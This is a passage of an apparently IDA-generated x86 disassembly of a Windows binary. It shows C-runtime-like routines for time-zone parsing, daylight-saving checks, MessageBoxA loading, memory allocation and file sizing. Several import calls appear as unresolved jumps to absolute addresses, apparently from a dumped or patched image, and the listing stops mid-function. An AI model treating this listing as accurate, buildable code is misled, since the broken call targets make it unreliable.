		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25E0A6Eh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB590, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB590

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4D8, ebp
		mov	dword_43CD80, ebx
		mov	dword_43CD70, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4E0
		nop
		call	near ptr 2880000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4E0
		mov	ecx, dword_4DB534
		imul	eax, 3Ch
		cmp	word_4DB526, bp
		push	1
		pop	edx
		mov	dword_43CCD8, eax
		mov	dword_4DB4D8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCD8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB57A, bp
		jz	short loc_424887
		mov	eax, dword_4DB588
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCDC, edx
		imul	eax, 3Ch
		mov	dword_43CCE0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCDC, ebp
		mov	dword_43CCE0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD64
		push	ebx
		push	offset dword_4DB4E4
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD64
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD64
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD68
		push	ebx
		push	offset dword_4DB538
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD68
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB58C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB58C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB58C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD64
		call	sub_41B5F0
		mov	eax, off_43CD64
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCD8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCD8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCDC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD68
		call	sub_41B5F0
		mov	eax, off_43CD68
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD68
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCDC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD70
		jnz	short loc_424A7C
		cmp	eax, dword_43CD80
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4D8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB586
		push	ecx
		cmp	word_4DB578, di
		movzx	ecx, word_4DB584
		push	ecx
		movzx	ecx, word_4DB582
		push	ecx
		movzx	ecx, word_4DB580
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB57C
		push	edi
		push	ecx
		movzx	ecx, word_4DB57E
		push	ecx
		movzx	ecx, word_4DB57A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB57E
		push	ecx
		push	edi
		movzx	ecx, word_4DB57A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB532
		add	esp, 2Ch
		cmp	word_4DB524, di
		push	eax
		movzx	eax, word_4DB530
		push	eax
		movzx	eax, word_4DB52E
		push	eax
		movzx	eax, word_4DB52C
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB528
		push	edi
		push	eax
		movzx	eax, word_4DB52A
		push	eax
		movzx	eax, word_4DB526
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB52A
		push	eax
		push	edi
		movzx	eax, word_4DB526
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD74
		mov	eax, dword_43CD84
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD78
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD88
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD88[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CDBC[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD8C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CDC0[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD88[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CDBC[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD74, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD70, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD78, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD84, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCE0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD88, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD88, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD88, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD84, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD80, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC821[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C332[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB594, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690C6Fh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB594, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB598, eax
		call	esi
		mov	dword_4DB59C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB598
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB59C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB594

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC940
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C324
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC944
		call	near ptr 27B0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB32C, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5E0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB5C8
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB5C8
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC700
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB2AC, 5
		jnz	short loc_424FDC
		mov	dword_4DB2A8, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25E0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB2A8, 0Dh
		call	near ptr 2670914h
		nop
		mov	dword_4DB2AC, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB2A8, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
